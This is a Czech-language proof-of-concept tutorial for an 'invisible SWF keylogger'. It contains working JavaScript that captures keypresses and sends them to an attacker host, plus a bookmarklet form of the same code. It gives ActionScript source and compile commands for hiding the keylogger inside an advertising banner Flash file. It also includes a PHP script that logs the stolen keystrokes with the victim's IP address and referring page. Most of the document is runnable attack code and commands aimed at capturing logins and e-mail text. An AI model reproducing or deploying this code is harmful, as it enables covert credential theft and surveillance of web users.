

=====

== Invisible SWF Keylogger [PoC] ==

[XanthiX]

=====

Jednoduchý keylogger odchyťává stisknuté klávesy v infikovaném okně prohlížeče oběti prostřednictvím injektovaného kódu napsaného v JavaScriptu. Keylogger využívá ke svému běhu události *onkeypress*, která způsobuje cyklický běh definovaného těla bezejmenné funkce *function(e)*. Při volání těla funkce je prostřednictvím parametru *e* předána hodnota odchytené stisknuté klávesy, která se v cyklu ukládá do proměnné *pressedKey*. K přenesení této hodnoty z prohlížeče oběti na útočníkův server s odchyťávajícím PHP skriptem je využito následujícího triku:

V kontextu běhového prostředí javascriptu je vytvořen objekt *img* reprezentující objekt obrázku. Následně je vytvořen objekt textového řetězce, který reprezentuje URL volaného sběrového skriptu útočníka. Při vytváření URL je k řetězci, který specifikuje lokaci skriptu přiřetězena také hodnota stisknuté klávesy reprezentována jako URL parametr *input*. V konečném kroku běhu cyklu dochází k použití takto sestrojené URL k vyvolání HTTP metody GET z prohlížeče oběti, čímž je v konečném důsledku docíleno transportování odchyteného znaku odchyťávajícímu PHP skriptu na straně útočníka.

==== <1.1 kód javascriptu realizující odposlech stisknutých kláves> ====

```
<script>
  document.captureEvents(Event.KEYPRESS);
  document.onkeypress=function(e){
    var pressedKey=String.fromCharCode(e.which);
    var img=new Image();
    var src="http://server-
utocnika.com/keylogger.php?"+"input="+pressedKey;
    img.src=src;
  }
</script>
```

==== </1.1 kód javascriptu realizující odposlech stisknutých kláves> ====

Tímto způsobem máme sestrojený velmi primitivní javascriptový keylogger [fungující v prohlížeči Firefox], který by bylo možné použít i v této formě, pokud by byl útočník schopen docílit jeho přidání na požadovanou HTML stránku [např. HTML rozhraní pro vložení jména a hesla nebo rozhraní pro psaní e-mailu].

Další krok však značně zvyšuje pravděpodobnost úspěšnosti vložení tohoto kódu na místo cíleného určení, jelikož pro zamaskování kódu je použit jako transportní médium multimediální objekt typu flash. K vyvolání kontextu JavaScriptu prostřednictvím flashového objektu je použita flashová událost *getURL*, která však namísto běžného URL má za svůj parametr speciálně upravený kód javascriptu. Ten je upraven do speciálního formátu nazývaného bookmarklet, jímž je možné zpustit zhuštěný jednořádkový zápis JavaScriptového kódu jeho vložím do pole prohlížeče pro vkládání URL.

Bookmarklet je také možné vytvořit pomocí pluginu Firebug pro prohlížeč Mozilla Firefox, který transformuje speciální znaky kódu automaticky do hexadecimální url-encoded notace. Bookmarklet se tímto postupem tvoří vložím kódu javascriptu do okna v pravé části

lišty pluginu a následným použitím funkce „Build As“, která se nachází v záložce „Bookmarklets“. Tímto postupem vytvořený bookmarklet je následně zapotřebí získat ze záložky uloženého bookmarku po kliknutí na záložku „Properties“ příslušného bookmarku. Transformovaný kód se nachází v poli Location a je uvozen řetězcem „javascript:“.
[<http://getfirebug.com/>]

==== <1.2 modifikovaná podoba předchozího kódu ve formě bookmarkletu> ====

```
javascript:document.captureEvents(Event.KEYPRESS);document.onkeypress=function(e){var pressedKey=String.fromCharCode(e.which);var img=new Image();var src="http://server-utocnika.com/keylogger.php?"+"input="+pressedKey;img.src=src};void(0);
```

Poznámka:

Výše uvedený kód je funkční, pokud je zapsán bez formátovacích znaků CR LF, které jsou zde přítomny z důvodu formátování A4.

==== <1.2 modifikovaná podoba předchozího kódu ve formě bookmarkletu> ====

Následně je zapotřebí z kódu ve výpisu 1.2 odstranit bílá místa a další specifické znaky. Je možné toho docílit tak, že se tyto znaky nahradí URL-encoded notací pro potřeby správné kompilace programového flashového kódu. Následně je tento kód potřebné vložit do funkce main jako atribut volání funkce *getURL*. Tento kód uložíme do souboru [pojmenovaného jako *backdoor.as* v této prezentaci].

Poznámka:

Krok transformace bílých a specifických znaků není potřebný, pokud jsme k tvorbě bookmarkletu využili funkcionalitu pluginu Firebug v předchozím kroku.

==== <1.3 kód typu flash před kompilací – backdoor.as> ====

```
class Backdoor{
  function Backdoor(){
  }
  static function main(mc){
    getURL("javascript:
document.captureEvents%28Event.KEYPRESS%29%3Bdocument.onkeypress%3Dfunction%28e%29%7Bvar%20pressedKey%3DString.fromCharCode%28e.which%29%3Bvar%20img%3Dnew%20Image%28%29%3Bvar%20src%3D%22http%3A//server-utocnika.com/keylogger.php%3F%22+%22input%3D%22+pressedKey%3Bimg.src%3Dsrc%3B%7D;void(0);");
  }
}
```

==== </1.3 kód typu flash před kompilací – backdoor.as> ====

Následně si připravíme libovolný zkompileovaný soubor typu flash [pojmenován jako banner.swf v této prezentaci], jehož chceme využít jako transportního a maskovacího média pro enkapsulaci javascriptového keyloggeru. Pro potřeby této prezentace jsem zvolil reklamní banner. Následně je potřebné zjistit, jaké parametry tento soubor má, abychom mohli svůj přichystaný javascriptový keylogger zkompileovat s těmito parametry pro správné navázání transportního a odchyťovacího souboru. Pro zjištění parametrů jsem použil command-driven utilitu *swfdump*, která je součástí balíku SWFTools [<http://www.swftools.org/>].

==== <1.4 Zjištění parametrů reklamního banneru> ====

```
C:\SWFTools\swfdump.exe --width --height --rate banner.swf
```

==== </1.4 Zjištění parametrů reklamního banneru > ====

Poté, co jsme zjistili rozměry a frame rate banneru určeného k přidružení souboru s keyloggerem, použijeme tyto parametry ke kompilaci svého připraveného kódu z příkladu 1.3. Ke kompilaci je možné použít aplikaci Mtasc, přičemž jako hodnoty parametru header uvedeme hodnoty výstupu předchozího příkazu. [<http://www.mtasc.org/>]

==== <1.5 Kompilace flash kódu s požadovanými parametry> ====

```
c:\Mtasc\mtasc.exe -swf backdoor.swf -main -header  
300:250:25.00 backdoor.as
```

==== </1.5 Kompilace flash kódu s požadovanými parametry> ====

Následně sloučíme zkompileovaný flashový soubor keyloggeru se souborem reklamního banneru pomocí utility *swfcombine*, která je také součástí balíčku SWFTools.

==== <1.6 Sloučení flash souborů banneru a keyloggeru> ====

```
c:\SWFTools\swfcombine.exe -o banner_backdoored.swf -T  
backdoor.swf banner.swf
```

==== </1.6 Sloučení flash souborů banneru a keyloggeru> ====

Takto vzniklý soubor je potřebné začlenit pomocí HTML tagu `<object>` do struktury HTML kódu tam, kde je požadováno odchyťávání stisknutých kláves.

Na straně útočnickova serveru jsem pro účely prezentace použil následující PHP kód, který odchyťává a ukládá stisknuté klávesy do souboru *logger.log*, nacházejícím se ve stejném adresáři, jako uvedený PHP kód. Při vyvolání skriptu z prohlížeče oběti dochází také k logování IP adresy, času přijatého požadavku a obsahu parametru referer, jenž indikuje URL stránky, ze které byl transport odchyteného znaku iniciován.

Pro správné fungování tohoto konceptu je vhodné soubor *logger.log* napřed vytvořit vlastníkem PHP skriptu a nastavit skupině others možnost zápisu do tohoto souboru.

==== <1.7 Struktura php kódu na straně serveru útočníka> ====

```
<?php
    $ip =
$_SERVER["HTTP_CLIENT_IP"]?$_SERVER["HTTP_CLIENT_IP"]:$_SERVER
["REMOTE_ADDR"];
    $input=htmlspecialchars(addslashes($_GET['input']));
    $time=date("H:i:s - d.m.y");
    $data="<".$ip."> <".$time."> <".$_SERVER['HTTP_REFERER'].">
# ".$input."\n";
    $recordFile = "logger.log";
    $fh = fopen($recordFile, 'a') or die("can't open file");
    fwrite($fh,$data);
    fclose($fh);
?>
```

==== </1.7 Struktura php kódu na straně serveru útočníka> ====

Uvedený koncept je možné ověřit při použití prohlížeče Mozilla Firefox na straně oběti a nahrazením URL řetězce **server-utocnika.com** tohoto PoC za určení lokace souboru *logger.php*.